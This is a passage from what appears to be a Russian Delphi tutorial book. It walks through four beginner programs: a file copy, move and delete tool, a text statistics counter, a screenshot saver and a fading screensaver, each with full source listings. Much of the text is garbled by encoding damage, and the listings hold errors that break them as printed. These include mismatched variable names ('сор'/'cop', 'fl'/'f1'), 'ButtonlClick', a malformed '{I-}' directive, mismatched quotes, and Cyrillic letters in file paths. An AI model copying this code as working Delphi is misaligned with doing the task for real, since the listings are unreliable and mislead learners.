Постановка задачи

Разработать программу для работы с файлами. Программа должна предоставлять стандартные функции, используемые при работе с файлами: копирование, перенос, удаление.

 

Разработка формы

Создайте новый проект Delphi. Первым делом разработаем интерфейс программы. Изменим некоторые свойства главной формы. Прежде всего, присвойте соответствующее значение свойству Caption (заголовок формы) — например, Работа с файлами. Поскольку окно нашей программы должно всегда находиться поверх всех остальных окон, следует присвоить свойству FormStyle значение fsStayOnTop. Больше никаких свойств формы изменять не будем.

Разместите в левом верхнем углу формы, один над другим два компонента Label (метка) категории Standard. Для верхней метки присвойте свойству Caption значение Что:, а для второй — Куда:. Рядом с метками разместите по одному компоненту Edit (поле ввода) категории Standard. Присвойте свойству Name (имя) верхнего поля значение from, а свойству Name нижнего — значение where. Свойствам from.Text и where.Text присвойте пути по умолчанию, например: c:\1.txt и d:\2.txt.

Для того чтобы не утруждать пользователя копированием или ручным вводом путей размещения файлов, воспользуемся стандартными диалоговыми окнами открытия и сохранения файлов. Диалоговом окну открытия файла соответствует компонент OpenDialog категории Dialogs, а диалоговому окну сохранения — компонент SaveDialog той же категории. Разместим эти компоненты на форме. Для удобства изменим значение свойства OpenDialog1.Name на Open1, а значение свойства SaveDialog1.Name на Save1.

Справа от полей from и where разместим кнопки вызова диалогового окна обзора (компоненты Button категории Standard). Свойству Caption этих кнопок присвойте значение Обзор или просто поставьте точки. При желании, можете изменить размеры кнопок.

Разместите на форме под полем where компонент Label категории Standard и присвойте его свойству Caption значение Размер файла:. Справа от этой метки разместите еще один компонент Label, очистив для нее свойство Caption — эта метка будет отображать размер обрабатываемого файла.

Ниже разместим две кнопки (компоненты Button), присвоим их свойствам Caption значения Копировать и Вырезать. Под этими кнопками разместим компоненты, которые будут использоваться для выбора и удаления файлов: компонент Edit для ввода пути к файлу, кнопка вызова диалогового окна обзора и кнопка для удаления файла.

Свойству Edit1.Name присвоим значение Del, а свойству Text – путь по умолчанию. Кнопку Обзор разместим справа, а кнопку Удалить файл — под полем Del.

Полученная форма должна соответствовать рис. 2.1.

Рис. 2.1. Форма Работа с файлами

 

Разработка программного кода

Разработаем процедуру копирования файла. Это можно было бы реализовать средствами WinAPI, однако в этом случае процедура, хотя и была бы менее громоздкой, оказалась бы "привязанной" к системе, что для программ нежелательно, поэтому лучше воспользоваться библиотеками Delphi.

Для начала объявим нашу процедуру (назовем ее doit) как закрытый член класса формы:

type

TForm1 = class(TForm)

В ...

private

В {В Private declarations }

В procedureВ doit;

В public

В { Public declarations }

end;

Реализацию процедуры создадим в разделе implementation:

Примечание

Здесь и далее при разработке описанных в книге программ комментарии, при желании, можно не вводить. Текст, обязательный для ввода, выделен в листингах полужирным шрифтом.

procedure TForm1.doit();

var

 f1, f2: file of Byte; //Работа с первым и вторым файлом

 сор: Byte; //Для побайтового копирования

 sizez: LongInt; //Хранит размер файла

begin

 {$I-} //Отключаем директиву, которая отслеживает ошибки

 //ввода/вывода

  try //Начало блока обработки исключений

  //Связываем файловую переменную f1 с первым файлом

В В  AssignFile(f1, from.Text) ;

  //Связываем файловую переменную f2 со вторым файлом

В В  AssignFile(f2, where.Text);

  Reset(f1) ;  //Открываем первый файл на чтение

   sizez:= Trunc(FileSize(f1) ); //Определяем размер файла

  //Отображаем размер файла для пользователя

В В  Label4.Caption:= IntToStr(sizez div 1024) + 'РљР±';

  {Создаем второй файл или перезаписываем его, если он уже существует}

В В  Rewrite (f2);

В В  while not Eof(f1) do

  begin //Пока не достигнут конец первого файла

   //Считываем один байт из первого файла

В  В  BlockRead(fl, cop, 1) ;

   //Записываем один байт во второй файл

В В  BlockWrite(f2, cop, 1);

В  end;

  CloseFile(f1) ; //Закрываем первый файл

   CloseFile(f2) ; //Закрываем второй файл

В  finally;

 end; //Конец блока обработки исключений

  if IOResult<> 0 //Если возникла ошибка ввода-вывода

  then MessageDlg('Ошибка при копировании файла!', mtError, [mbOk],0) //сообщение об ошибке

В  else begin

  {Если ошибок не было, то выводим окно об успешном окончании копирования}

  ShowMessage('Успешно скопировано! ');

В  end;

end;

⇘ Различные конструкции языка Object Pascal (комментарии, операторы ветвления, обработка исключений Рё РґСЂ.) рассматриваются РІ приложении Р“.

Эта процедура будет использоваться при копировании и переносе файлов. Сначала мы открываем файлы, которые выбрал пользователь, а затем проверяем, не было ли ошибок при их открытии. Если ошибок не было, то отображаем пользователю размер исходного файла и начинаем считывать байты из первого файла, записывая их во второй. Если копирование завершено и ошибок при этом не произошло, то отображаем сообщение об успешном окончании копирования.

Процедура doit вызывается при нажатии кнопки Копировать:

procedure TForm1.Button1Click{Sender: TObject);

begin

В doit;

end;

По нажатию кнопки Вырезать должно происходить обычное копирование с последующим удалением скопированного файла:

procedure TForm1.Button5Click(Sender: TObject);

begin

 doit; //копируем

 DeleteFile(from.Text) ; //удаляем исходный файл

end;

Теперь создадим процедуры выбора и сохранения файла с помощью стандартных диалоговых окон. Для выбора первого (исходного) файла следует создать следующий обработчик события OnClick (кнопке Button2 соответствует поле from):

procedure TForm1.Button2Click(Sender: TObject);

begin

В if Open1.Execute

В then from.Text:= Open1.FileName

 else ShowMessage('Файл не был открыт');

end;

При нажатии кнопки Обзор открывается диалоговое окно выбора файла (Open1.Execute). Если в этом окне пользователь нажал кнопку Отмена (Open1.Execute = False), то сообщаем ему об этом и не выполняем никаких действий. Если пользователь выбрал файл, то копируем путь к нему в соответствующее поле ввода.

Создадим аналогичный обработчик события для выбора пути назначения при копировании первого файла (кнопке Button3 соответствует поле where):

procedure TForm1.Button3Click(Sender : TObject);

begin

В if Save1.Execute

В then where.Text:= Save1.FileName

 else ShowMessage('Вы не выбрали место длясохранения файла!');

end;

Здесь выполняется та же проверка, что и в предыдущем случае. Затем выбранный путь заносится в соответствующее поле ввода, чтобы его, при желании, можно было откорректировать.

Теперь создадим аналогичный обработчик события OnClick для кнопки Обзор, используемой для выбора размещения удаляемого файла :

procedure TForm1.Button4Click(Sender: TObject);

begin

В if Open1.Execute

В then Del.Text:= Open1.FileName

 else ShowMessage('Файл не был открыт!');

end;

Сама кнопка Удалить выполняет при нажатии следующий код:

procedure TForm1.Button6Click(Sender: tobject);

begin

 DeleteFile(Del.Text); //удаляем файл

 if not FileExists(Del.Text) //проверяем существование файла

 then ShowMessage('Файл удален!'); //выводим сообщение

end;

Сначала мы удаляем файл, а затем проверяем, существует ли он на диске после выполнения операции удаления. Если его не существует, то выводим сообщение об успешном удалении файла. Теперь можно откомпилировать и запустить программу на выполнение. Внешний вид окна Работа с файлами в действии показан на рис. 2.2.

Рис. 2.2. Программа Работа с файлами в действии

 

Полный исходный код модуля

Полный код модуля программы Работа с файлами представлен в листинге 2.1.

Листинг 2.1. Модуль программы Работа с файлами

unit Unit1;

interface

uses

В Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, ShellAPI, Gauges;

typeВ TForm1 = class(TForm)

В from: TEdit;

В where: TEdit;

В Button1: TButton;

В Label1: TLabel;

В Label2: TLabel;

В Label3: TLabel;

В Label4: TLabel;

В Button2: TButton;

В Button3: TButton;

В Open1: TOpenDialog;

В Save1: TSaveDialog;

В Button4: TButton;

В del: TEdit;

В Button5: TButton;

В Button6: TButton;

В procedure Button1Click(Sender: TObject);

В procedure Button2Click(Sender: TObject);

В procedure Button3Click(Sender: TObject);

В procedure Button5Click(Sender: TObject);

В procedure Button4Click(Sender: TObject);

В procedure Button6Click(Sender: TObject);

private

В { Private declarations }

 procedure doit; //объявление процедуры doit

public

В {В Public declarations }

end;

var Form1: TForm1;

implementation

{$R *.dfm}

procedure Tform1.doit();

var

 f1, f2: file of byte; //работа с первым и вторым файлом

 сор: byte; //для побайтового копирования

 sizez: longint; //хранит размер файла

begin

 {I-} {отключаем директиву, которая следит за ошибками ввода/вывода}

В try

  //связываем Файловую переменную f1 с первым файлом

В В AssignFile(f1, from.Text);

  //связываем файловую переменную f2 со вторым файлом

В В AssignFile(f2, where.Text);

  Reset(f1);  //открываем первый файл на чтение

  sizez:= Trunc(FileSize(f1)); //узнаем размер файла

  //Отображаем размер файл для пользователя}

  Label4.Caption:= IntToStr(sizez div 1024) + 'Кб’;

  {Создаем второй файл или перезаписываем его, если он уже существует}

В  Rewrite(f2);

  while not Eof(f1) do begin //пока не достигнут конец первого файла

   //считываем один байт с первого файла

В  В BlockRead(f1, cop, 1);

   //записываем один байт во второй файл

В  В BlockWrite(f2, cop, 1);

В В end;

  CloseFile(f1);//закрываем первый файл

  CloseFile(f2);// закрываем второй файл

В finally;

В end;

 if IOResult <> 0 //Если возникла ошибка ввода-вывода

 then MessageDlg('Ошибка при копировании файла!', mtError, [mbOk] , 0) //сообщение об ошибке

В else begin

  {если ошибок не было, то выводим окно об успешном окончании копирования}

  ShowMessage('Успешно скопировано!');

В end;

end;

procedure TForm1.ButtonlClick(Sender: TObject);

begin

В doit;

end;

procedure TForm1.Button2Click(Sender: TObject);

begin

В if Open1.Execute then from.Text := Open1.FileName

 else ShowMessage('Файл не был открыт');

end;

procedure TForm1.Button3Click(Sender: TObject);

begin

В if Save1.Execute then where.Text:= Save1.FileName

 else ShowMessage(''Вы не выбрали место для сохранения файла!');

end;

procedure TForm1.Button5Click(Sender: TObject);

begin

В doit;

 DeleteFile(from.Text); //удаляем исходный файл

end;

procedure TForm1.Button4Click(Sender: TObject);

В begin

В if Open1.Execute then del.Text:= Open1.FileName

 else ShowMessage('Файл не был выбран');

end;

procedure TForm1.Button6Click(Sender: TObject);

begin

 DeleteFile(del.Text); //удаляем файл

В if not FileExists(del.Text)

 then //проверяем существование файла

  //выводим сообщение об успешном удалении

  ShowMessage('Файл удален!');

end;

end.

⊚ Р’СЃРµ файлы проекта Рё исполняемый файл рассмотренной программы находятся РЅР° прилагаемом Рє РєРЅРёРіРµ компакт-РґРёСЃРєРµ РІ папке Chapter_02.

 

Постановка задачи

Разработать программу, которая выводит статистику выбранного пользователем документа. Статистические данные включают в себя количество слов, символов, пробелов и строк.

 

Разработка формы

Создадим новый проект Delphi и разработаем интерфейс программы. Измените значение свойства Caption главной формы на Статистика. Разместите на форме компонент Label категории Standard, и присвойте его свойствам значения согласно табл. 3.1.

Таблица 3.1. Свойства компонентаLabel, размещенного на форме Статистика

Ниже разместите компонент Edit категории Standard (поле ввода), в котором будет храниться путь к обрабатываемому файлу. Справа от него разместим кнопку (компонент Button категории Standard), которая будет открывать окно обзора для выбора файла. Присвойте свойству Button1.Caption значение Обзор.

Для реализации выбора файла разместите на форме компонент OpenDialog категории Dialogs. Измените значение свойства Name этого компонента наOpen1.

Разместите на форме четыре компонента Label и присвойте их свойству Caption значения Слов, Символов, Пробелов и Строк. Расположите эти метки одну над другой вдоль левого края формы и установите свойства шрифта согласно табл. 3.2.

Таблица 3.2. Свойства шрифта компонентов Label

Разместите на форме справа от каждого предыдущих четырех меток еще четыре компонента Label и присвойте им имена (свойство Name) words, symbols, spaces и lines. Присвойте значения свойствам этих меток согласно табл. 3.3.

Таблица 3.3. Свойства компонентов words, symbols, spaces и lines

В правом нижнем углу формы разметим кнопку (компонент Button), по нажатию которой будут выполняться расчёты и выводиться все данные. Свойству Caption этой кнопки присвоим значение Статистика. На этом разработка формы завершена. Полученный результат должен примерно соответствовать рис. 3.1

Рис. 3.1. Форма Статистика

 

Разработка программного кода

В этой программе следует обработать только два события: нажатие кнопки Обзор и нажатие кнопки Статистика. Сначала — о кнопке Обзор:

procedure TForm1.Button1Click(Sender: TObject);

begin

 //начинаем обзор с текущей папки

В Open1.InitialDir:= GetCurrentDir;

 if Open1.Execute then Edit1.Text:= Open1.FileName //открываем диалоговое окно выбора файла

 else ShowMessage('Файл не выбран!');

end;

Начинаем обзор с каталога, в котором в данный момент находится программа. Затем следует стандартная проверка: если файл не был выбран, то сообщаем об этом пользователю, иначе отображаем путь к файлу в поле Edit1.

При нажатии кнопки Статистика выполняется подсчет и отображение данных о выбранном файле:

procedure TForm1.Button2Click(Sender: TObject);

var

 f: file of byte; //Переменная для работы с файлом

 str: byte; //Содержит считанный байт

 oldstr, symbol, word, line, space: Integer; //Стат. данные

begin

 symbol:= 0; //обнуляем предыдущие результаты

В word:= 0;

В space:= 0;

В line:= 0;

 if FileExists(Edit1.Text) //проверяем, существует ли файл

В then begin

  AssignFile(f, Edit1.Text); //связываем файл с переменной f

  reset(f); //открываем файл на чтение

В В while not eof(f) do

  begin //читаем файл до достижения конца файла

В В  oldstr:= str;

   Read(f, str); //считываем символ в переменную str

   if ((str <> 32) and (str <> 13) and (str <> 10)) then symbol:= symbol + 1;  {пополняем количество символов, если он не является переводом строки, кодом новой строки или пробелом}

   //если считан пробел, пополним счетчик пробелов

В В В if str = 32 then space:= space + 1;

   if str = 13 then line:= line + 1; //счетчик строк

В В  if ((str = 32) or (str = 13) or (str = 10)) then

    if ((oldstr<>32) and (oldstr<>10) and (oldstr<>13)) then word:= word + 1; //счетчик слов

В В end;

  CloseFile(f); //закрываем файл

В end

 else ShowMessage('Ошибка: Файл не найден!'); {если файл не найден, то выводим сообщение об ошибке}

 //Выводим всю полученную информацию о файле

В symbols.Caption:= IntToStr(symbol);

В spaces.Caption:= IntToStr(space);

В lines.Caption:= IntToStr(line);

В words.Caption := IntToStr(word);

end;

Сначала мы проверяем, существует ли файл, статистику которого будем определять. Если все нормально, то начинаем считывать из этого файла по одному символу и проверять по коду, что это за символ. Если код символа равен 32, то это — пробел, и мы пополняем счетчик пробелов. Если код считанного символа равен 13, то это — символ перевода строки, и мы пополняем счетчик строк. Если считанный символ не является пробелом или символом перевода строки, то это — обычный символ и следует пополнить счетчик символов. Для того чтобы подсчитать количество слов, мы выполняем следующую проверку: если считан пробел или символ перевода строки, то проверяем, является ли предыдущий символ пробелом или символом перевода строки, и если это так, пополняем счетчик слов.

Результат выполнения программы представлен на рис. 3.2.

Рис. 3.2. Программа Статистика в действии

 

Полный исходный код модуля

Код модуля программы Статистика представлен в листинге 3.1.

Листинг 3.1. Модуль программы Статистика

unit Unit1;

interface

uses

В Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls;

type TForm1 = class(TForm)

В Label1: TLabel;

В Label2: TLabel;

В Label3: TLabel;

В Label4: TLabel;

В Label5: TLabel;

В words: TLabel;

В symbols: TLabel;

В spaces: TLabel;

В lines: TLabel;

В Button1: TButton;

В Edit1: TEdit;

В Button2: TButton;

В Open1: TOpenDialog;

В procedure Button1Click(Sender: TObject);

В procedure Button2Click(Sender: TObject);

private

В { Private declarations }

public

В { Public declarations }

end;

var Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.ButtonlClick(Sender: TObject); begin

 //начинаем обзор с текущей папки

В Open1.InitialDir:= GetCurrentDir;

 if Open1.Execute // открываем диалоговое окно выбора файла

В then Edit1.Text:= Open1.FileName

 else ShowMessage('Файл не выбран!');

end;

procedure TForm1.Button2Click(Sender: TObject);

var

 f: file of byte; //Переменная для работы с файлом

 str: byte; //Содержит считанный байт

В oldstr, symbol, word, line, space: Integer;

begin

 symbol:= 0; //обнуляем предыдущие результаты

В word:= 0;

В space:= 0;

В line:= 0;

 if FileExists(Edit1.Text) //проверяем, существует ли файл

В then begin

  AssignFile(f,Edit1.Text) ; //связываем файл с переменной f

  reset(f); //открываем файл на чтение

В В while not eof(f) do

  begin //читаем файл до достижения конца файла

В В  oldstr:= str;

   Read(f, str); //считываем символ в переменную str

В В  if ((str <> 32) and (strВ <> 13) and (strВ <> 10))

    then symbol := symbol + 1; {пополняем количество символов, если он не является переводом строки, кодом новой строки или пробелом}

   //если считан пробел, пополним счетчик пробелов

В В  if str = 32 then space:= space + 1;

   if str = 13 then line:= line + 1; //счетчик строк

В В  if ((str = 32) or (str = 13) or (str = 10)) then

В В В  if ((oldstr<>32) and (oldstr<>10) and (oldstr<>13))

     then word: = word + 1; //счетчик слов

В В end;

  CloseFile(f); //закрываем файл

В end

 else ShowMessage('Ошибка: Файл не найден !'); {если файл не найден, то выводим сообщение об ошибке}

  symbols.caption:= IntToStr(symbol); //Выводим всю

  spaces.caption:= IntToStr(space); //полученную

  lines.caption:=IntToStr(line); //информацию о файле

В В words.caption:= IntToStr(word);

В end;

end.

⊚ Р’СЃРµ файлы проекта Рё исполняемый файл рассмотренной программы находятся РЅР° прилагаемом Рє РєРЅРёРіРµ компакт-РґРёСЃРєРµ РІ папке Chapter 03.

 

Постановка задачи

Разработать программу, которая будет снимать и сохранять копию экрана.

 

Разработка формы

Создайте новый проект Delphi и измените заголовок формы (свойство Caption) на Screenshot. Чтобы пользователь не мог изменять размеры окна при работе с программой, следует присвоить свойству BorderStyle значение bsDialog. Для удобства создания копий экрана окно программы должно быть всегда размещено поверх остальных окон. Для этого присвоим свойству FormStyle значение fsStayOnTop. Мы можем себе это позволить: на самой копии экрана окно нашей программы отображено не будет, поскольку в момент создания копии оно будет временно сокрыто.

Для сохранения копии экрана нам понадобится компонент SaveDialog категории Dialogs. Разместите этот компонент на форме. Поскольку мы заранее знаем, что будем сохранять рисунок, то свойству SaveDialog1.Filter присвойте значение Рисунок|*.bmp|Все файлы|*.*. При сохранении файла у пользователя будет выбор: сохранять файл как рисунок (*.bmp) или как любой другой файл (*.*).

Разместите вдоль правого края формы четыре кнопки (компоненты Button категории Standard) со следующими заголовками (свойство Caption): Сделать снимок экрана, Показать снимок, Очистить и Сохранить. Также нам потребуется компонент, который будет отображать полученную копию экрана. Для этих целей мы будем использовать компонент Image категории Additional. Измените его имя (свойство Name) на Screen1, а свойству Proportional присвоим значение True.

На этом разработка формы завершена. Полученный результат должен примерно соответствовать рис. 4.1.

Рис. 4.1. Форма для создания копий экрана

 

Разработка программного кода

Для начала объявим все переменные, которыми будем пользоваться в программе:

var

 Form1: TForm1; //главная форма

 ВМР1 :Graphics.ТВitmap; //для работы с рисунками (*.bmp)

 DC1: HDC; //простое поле для графики

В Image1:TImage;

Самое главное событие в программе — это нажатие кнопки Сделать снимок экрана. Создадим обработчик этого события:

procedure TForm1.Button1Click(Sender: TObject);

begin

 Form1.Visible := False; //прячем форму

 Sleep(15) ; //пауза 15 мс

В BMP1:= Graphics.TBitmap.Create;

 //задаем размеры рисунка такие же как размеры экрана

В Р’РњР 1.Height:= Screen.Height;

В Р’РњР 1.Width:= Screen.Width;

В DC1:=GetDC(0);

 //Делаем копию экрана

В BitBlt(BMP1.Canvas.Handle, 0, 0, Screen.Width, Screen.Height, DC1, 0, 0, SRCCOPY);

 Form1.Visible:= True; //восстанавливаем окно программы

В Image1:= TImage.Create(nil);

В BMP1.IgnorePalette:= True;

В Image1.Picture.Assign(BMP1);

 ВМР1.SaveToFile('с:\1.bmp'); //сохраняем снимок в файл 1.bmp на диске С:\

end;

Перед тем как сделать снимок экрана, мы прячем окно программы, делаем паузу в 15 мс и задаем размеры будущего рисунка. После этого делаем снимок экрана и сохраняем его в файл 1.bmp, который находится на диске C:\.

По нажатию кнопки Показать рисунок выполняем следующий код:

procedure TForm1.Button4Click(Sender: TObject);

begin

 Screen1.Show; // делаем рисунок видимым

 if FileExists('с:\1.bmp') then //если рисунок существует,

  Screen1.Picture.LoadFromFile('c:\1.bmp'); //загружаем его

end;

По нажатию кнопки Очистить мы должны скрывать рисунок и удалять его с диска:

procedure TForm1.Button3Click(sender: TObject);

begin

 //удаляем рисунок с диска

В if FileExists('СЃ:\1.bmp') then DeleteFile('РЎ:\1.bmp');

 Screen1.Hide; //скрываем рисунок

end;

Для сохранения рисунка будем использовать диалоговое окно. Код нажатия кнопки Сохранить:

procedure TForm1.Button2Click(Sender: TObject);

begin

В if SaveDialog1.Execute then

  BMP1.SaveToFile(SaveDialog1.FileName) //сохраняем рисунок

 else ShowMessage('Файл не был сохранен!');

end;

Здесь мы проверяем, выбрал ли пользователь место сохранения файла. Если да, то сохраняем рисунок по указанному расположению.

Откомпилируем и запустим программу на выполнение (результат — на рис. 4.2).

Рис. 4.2. Программа ScreenShot в действии

 

Полный исходный код модуля

Полный исходный код модуля программы ScreenShot представлен в листинге 4.1.

Листинг 4.1. Модуль программы ScreenShot

unit Unit1;

interface

uses

В Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, ExtCtrls, Registry, WinProcs, jpeg;

type TForm1 = class(TForm)

В Button1: TButton;

В Button2: TButton;

В Screen1: TImage;

В SaveDialog1: TSaveDialog;

В Button3: TButton;

В Button4: TButton;

В procedure Button1Click(Sender: TObject);

В procedure Button2Click(Sender: TObject);

В procedure Button3Click(Sender: TObject);

В procedure Button4Click(Sender: TObject);

private

В { Private declarations }

public

В { Public declarations }

end;

var

 Form1: TForm1; //главная форма

 ВМР1: Graphics.TBitmap; //для работы с рисунками (* .bmp)

 DC1: HDC; //простое поле для графики

В Image1: TImage;

implementation

{$R *.dfm}

procedure TForm1.ButtonlClick(Sender: TObject);

begin

 Form1.Visible:= False; //прячем форму

 Sleep(15);//пауза 15 мс

В BMP1:= Graphics.TBitmap.Create;

 //задаем размеры рисунка такие же как размеры экрана

В Р’РњР 1.Height:= Screen.Height;

В BMP1.Width:= Screen.Width;

В DC1:= GetDC(0);

 //Делаем снимок экрана

В BitBlt(BMP1.Canvas.Handle, 0, 0, Screen.Width, Screen.Height, DC1, 0, 0, SRCCOPY);

 Form1.Visible:= True; //восстанавливаем окно программы

В Image1:= TImage.Create(nil);

В BMP1.IgnorePalette:= True;

В Image1.Picture.Assign(BMP1);

 BMP1.SaveToFile('с:\1.bmp'); //сохраняем снимок в файл

В  //1.bmp РЅР° РґРёСЃРєРµ РЎ:\

end;

procedure TForm1.Button2Click(Sender: TObject);

begin

В if SaveDialog1.Execute then

  BMP1.SaveToFile(SaveDialog1.FileName) //сохраняем рисунок

 else ShowMessage('Файл не был сохранен!');

end;

procedure TForm1.Button3Click(Sender: TObject);

begin

 //удаляем рисунок с диска

В if FileExists('СЃ:\1.bmp') then DeleteFile('C:\1.bmp');

 Screen1.Hide; //скрываем рисунок

end;

procedure TForm1.Button4Click(Sender: TObject);

begin

 Screen1.Show; // делаем рисунок видимым

 if FileExists('с:\1.bmp') then //если рисунок существует,

  Screen1.Picture.LoadFromFile('с:\1.bmp');//загружаем его

end;

end.

⊚ Р’СЃРµ файлы проекта Рё исполняемый файл рассмотренной программы находятся РЅР° прилагаемом Рє РєРЅРёРіРµ компакт-РґРёСЃРєРµ РІ папке Chapter04.

 

Постановка задачи

Разработать хранитель экрана для Windows (файл с расширением *.scr). Форма масштабируется на весь экран, заголовок скрывается, а любые действия пользователя должны прекращать работу программы. Случайным образом выбирается цвет формы, затем происходит ее плавное насыщение случайно выбранным цветом. Первоначально форма полностью прозрачная. Когда она станет полностью непрозрачной, следует медленно убирать насыщенность цвета, пока она опять не станет прозрачной. После этого вновь выбирается случайный цвет для насыщения, и описанный процесс повторяется сначала.

 

Разработка формы

Создадим новый проект Delphi. Как известно, экранные заставки хранятся РІ файлах СЃ расширением .scr, Р° РїРѕ умолчанию проект Delphi компилируется как выполняемый файл .exe. Для того чтобы наша программа имела расширение .scr, выполним команду меню Project→Options, РЅР° вкладке Application диалогового РѕРєРЅР° Project Options введем РІ поле Target file extension значение scr (СЂРёСЃ. 5.1) Рё нажмем РєРЅРѕРїРєСѓ OK.

Все что нам понадобится на форме, — это два компонента Timer категории System. Первый будет служить для реализации постепенного насыщения формы цветом — для этого таймера следует изменить значение свойства Interval на 100. Второй таймер потребуется при постепенном уменьшении насыщенности цвета вплоть до того момента, когда форма вновь станет полностью прозрачной. Для этого таймера свойству interval следует также присвоить значение 100, а значение свойства Enabled изменить на False, поскольку изначально "затухания" происходить не будет.

Рис. 5.1. Выбор расширения для откомпилированной программы

Изменим свойства формы согласно табл. 5.1.

Таблица 5.1. Свойства формы хранителя экрана

 

Разработка программного кода

Объявите в разделе var переменную mouse типа TPoint. В этой переменой будут храниться координаты указателя мыши, при изменении которых программа должна закрываться:

var

В Form1: TForm1;

В mouse: TPoint;

Программа экранной заставки должна закрываться не только по движению мыши, но при любой активности пользователя. Для этого создадим обработчики некоторых событий главной формы. Создание формы (событие OnCreate):

procedure TForm1.FormCreate(Sender: TObject);

begin

  GetCursorPos(mouse); //сохраняем координаты курсора мыши

 ShowCursor(False) ; //прячем курсор

end;

Форма должна закрываться по нажатию любой клавиши (событие OnKeyPress) и при движении мышью (событие OnMouseMove). Код обработчика события OnKeyPress:

procedure TForm1.FormKeyPress(Sender: TObject; var Key:Char);

begin

 Halt; //завершение работы программы

end;

Для события OnMouseMove программный код будет несколько иным:

procedure TForm1.FormMouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer);

begin

В if (X <> mouse.X) or (y <> mouse.Y) then Halt;

end;

Здесь сначала выполняется проверка: были ли изменены координаты курсора. Если координаты курсора изменились, то, соответственно, мышь была сдвинута и следует закрыть программу.

Напишем собственную процедуру для выбора случайного цвета: color_check. Объявите ее как закрытый член класса формы:

type

В TForm1 = class(TForm)

 …

private

В {В Private declarations }

В  procedure color_check();

public

В { Public declarations }

end;

В разделе implementation создадим реализацию процедуры color check:

procedure TForm1.colorcheck();

var

 ran: integer; //случайное число, соответствующее

 //определенному цвету

begin

 Randomize; //включаем генератор случайных чисел

 ran := random(6) + 1; //выбираем случайное число от 1 до 6

 //назначаем форме цвет, соответствующий выбранному числу

В case ran of

В 1: Form1.Color:= clBlack;

В 2: Form1.Color:= clWhite;

В 3: Form1.Color:= clBlue;

В 4: Form1.Color := clGray;

В 5: Form1.color:= clYellow;

В 6: Form1.Color:= clGreen;

В end;

end;

Здесь случайным образом выбирается число от 1 до 6, в зависимости от того которого определяем цвет формы. Процедура color_check будет вызываться при каждом новом насыщении формы.

Обработчик события OnTimer первого таймера должен иметь следующий вид:

procedure TForm1.Timer1Timer(Sender: TObject);

begin

В if Form1.AlphaBlendValue > 250

 then {проверяем: не полностью ли мы закрасили форму}

В begin

  Timer1.Enabled:= False; //выключаем насыщение формы

  Timer2.Enabled:= True; //включаем обратный процесс

В end;

 //постепенное насыщение формы

В Form1.AlphaBlendValue:= Form1.AlphaBlendValue + 1;

end;

Насыщенность постепенно увеличивается на 1, и выполняется проверка: не стала ли форма уже полностью закрашенной выбранным цветом. Если нет, то продолжаем увеличивать насыщенность цвета через каждые 100 мс. Когда форма будет полностью насыщенной, начинаем обратный процесс, который будет происходить под управлением второго таймера (событие Timer2.OnTimer):

procedure TForm1.Timer2Timer(Sender: TObject);

begin

В if Form1.AlphaBlendValue < 5

 then //если форма уже полностью прозрачная

В begin

  color_check (); //выбираем случайный цвет для формы

  Timer2.Enabled:= False; //выключаем второй таймер

   Timer1.Enabled:= True; //включаем первый таймер

В  end;

 //Уменьшаем прозрачность на 1

 Form1.AlphaBlendValue:= Form1.AlphaBlendValue – 1;

end;

Здесь через каждые 100 мс прозрачность формы уменьшается на 1. Когда форма становится полностью прозрачной, мы случайным образом выбираем другой цвет, выключаем таймер, по которому происходит уменьшение насыщенности цвета, и включаем первый таймер, который плавно увеличивает насыщенность цвета.

Теперь программу можно откомпилировать, скопировать файл .scr в папку с хранителями экрана (для Windows ХР это папка Windows\System32), открыть окно параметров Рабочего стола и выбрать хранитель экрана, соответствующий нашей программе.

Разработанный нами хранитель экрана в действии показан на рис. 5.2. В данном случае был случайным образом выбран желтый цвет заполнения и происходит медленное насыщение этим цветом. Можно разглядеть папки, которые видны сквозь полупрозрачную форму.

Рис. 5.2. Хранитель экрана в действии

 

Полный исходный код модуля

Полный исходный код модуля программы Хранитель экрана представлен в листинге 5.1.

Листинг 5.1. Модуль программы Хранитель экрана

unit Unit1;

interface

uses

В Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, ExtCtrls;

typeВ TForm1 = class(TForm)

В Timer1: TTimer;

В Timer2: TTimer;

В procedure FormCreate(Sender: TObject);

В procedure FormKeyPress(Sender: TObject; var Key: Char);

В procedure FormMouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer);

В procedure Timer1Timer(Sender: TObject);

В procedure Timer2Timer(Sender: TObject);

private

В { Private declarations }

В procedure color_check();

public

В { Public declarations }

end;

var

В Form1: TForm1;

В mouse: TPoint;

implementation

{$R *.dfm}

procedure TForm1.color_check();

var

 ran: integer; //случайное число, соответствующее

 //определенному цвету

begin

 Randomize; //включаем генератор случайных чисел

 ran: = Random(6) + 1; //выбираем случайное число от 1 до 6

 //Назначаем форме цвет, соответствующий выбранному числу

В case ran of

В 1: Form1.Color:= clBlack;

В 2: Form1.Color:= clWhite;

В 3: Form1.Color:= clBlue;

В 4: Form1.Color:= clGray;

В 5: Form1.Color:= clYellow;

В 6: Form1.Color:= clGreen;

В end;

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

 GetCursorPos(mouse); //получаем координаты курсора мыши

 ShowCursor(False); //прячем курсор

end;

procedure TForm1.FormKeyPress(Sender: TObject; var Key:Char)

begin

 Halt; //завершение работы программы

end;

procedure TForm1.FormMouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer);

begin

В if (X <> mouse.X) or (Y <> mouse.Y) then Halt;

end;

procedure TForm1.Timer1Timer(Sender: TObject);

begin

В if Form1.AlphaBlendValue > 250

 then //проверяем: не полностью ли мы закрасили форму

В begin

  Timer1.Enabled:= False; //выключаем насыщение формы

  Timer2.Enabled:= True; //включаем обратный процесс

В end;

 //постепенное насыщение формы

В Form1.AlphaBlendValue:= Form1.AlphaBlendValue + 1;

end;

procedure TForm1.Timer2Timer(Sender: TObject);

begin

В if Form1.AlphaBlendValue < 5

 then //если форма уже полностью прозрачная

В begin

  color_check(); //выбираем случайный цвет для формы

  Timer2.Enabled:= False; //выключаем второй таймер

  Timer1.Enabled := True; //включаем первый таймер

В end;

 //Уменьшаем прозрачность на 1

 Form1.AlphaBlendValue:= Form1.AlphaBlendValue – 1;

end;

end.

